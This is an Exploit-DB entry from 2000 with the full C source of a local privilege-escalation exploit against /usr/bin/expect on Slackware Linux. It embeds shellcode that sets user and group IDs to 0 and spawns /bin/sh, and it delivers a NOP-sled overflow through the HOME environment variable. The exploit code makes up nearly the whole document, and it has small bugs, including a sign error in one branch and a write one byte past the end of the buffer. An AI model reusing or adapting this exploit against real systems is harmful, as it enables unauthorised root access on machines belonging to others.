expect (/usr/bin/expect) - Local Buffer Overflow

EDB-ID:

218

CVE:



Author:

isox

Type:

local


Platform:

Linux

Date:

2000-12-04


/* hhp-expect_smash.c (12/11/00)
 *
 * expect (/usr/bin/expect) buffer overflow.
 * Tested 5.31.8 and 5.28.1, slackware 7.x (Maybe others).
 *
 * By: isox
 * Site: www.hhp-programming.net
 * Advisory: www.hhp-programming.net/ouradvisories/hhp-expect_adv%2317.txt
 */

#include <stdio.h>
#include <stdlib.h>

#define NOP				0x90
#define OFFSET			0
#define BUFLEN			416
#define RET				0xbffff580			/* Slackware 7.1 */
#define EXPECT			"/usr/bin/expect"

char code[] =
 "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x66\x31\xc0\x66\x31"
 "\xdb\xb0\x2e\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
 "\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
 "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8"
 "\xdc\xff\xff\xff/bin/sh\x69";

void usage(char *arg) {
  fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
  fprintf(stderr, "Examples:\n");
  fprintf(stderr, "\t%s 347 up                 -=- Default EIP increased by 347 bytes\n", arg);
  fprintf(stderr, "\t%s 347 down               -=- Default EIP decreased by 347 bytes\n", arg);
  fprintf(stderr, "\t%s 429 up 0x%lx      -=- EIP set to 0x%lx and increased by 429 bytes\n", arg, RET, RET + 429);
  fprintf(stderr, "\t%s 429 down 0x%lx    -=- EIP set to 0x%lx and decreased by 429 bytes\n\n", arg, RET, RET - 429);
  exit(1);
}


int main(int argc, char *argv[]) {
  char *buf, *p;
  long *addressp, address;
  int offset=OFFSET;
  int i;


  if((argc < 3) || (argc > 4))
    usage(argv[0]);

  if(argc == 3) {
    if(!strcmp(argv[2], "up")) {
      address = RET + atoi(argv[1]);
      printf("Increasing offset by: %d\n", atoi(argv[1]));
      printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
    }

    if(!strcmp(argv[2], "down")) {
      address = RET - atoi(argv[1]);
      printf("Decreasing offset by: %d\n", atoi(argv[1]));
      printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
    }
  }

  if(argc >= 4) {
    if(!strcmp(argv[2], "up")) {
      address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
      printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
      printf("Increasing offset by: %d\n", atoi(argv[1]));
      printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
    }
    if(!strcmp(argv[2], "down")) {
      address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
      printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
      printf("Decreasing offset by: %d\n", atoi(argv[1]));
      printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
    }
  }


  if (!(buf = (char *)malloc(BUFLEN))) {
    printf("Can't allocate memory.\n");
    exit(-1);
  }

  p = buf;
  addressp = (long *) p;

  for (i = 0; i < BUFLEN; i+=4) {
    *(addressp++) = address;
  }

  for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
    buf[i] = NOP;
  }

  p = buf + (BUFLEN - strlen(code) - 4);

  for (i = 0; i < strlen(code); i++)
    *(p++) = code[i];

  buf[BUFLEN] = '\0';


  setenv("HOME", buf, 1);
  system(EXPECT);
}


// milw0rm.com [2000-12-04]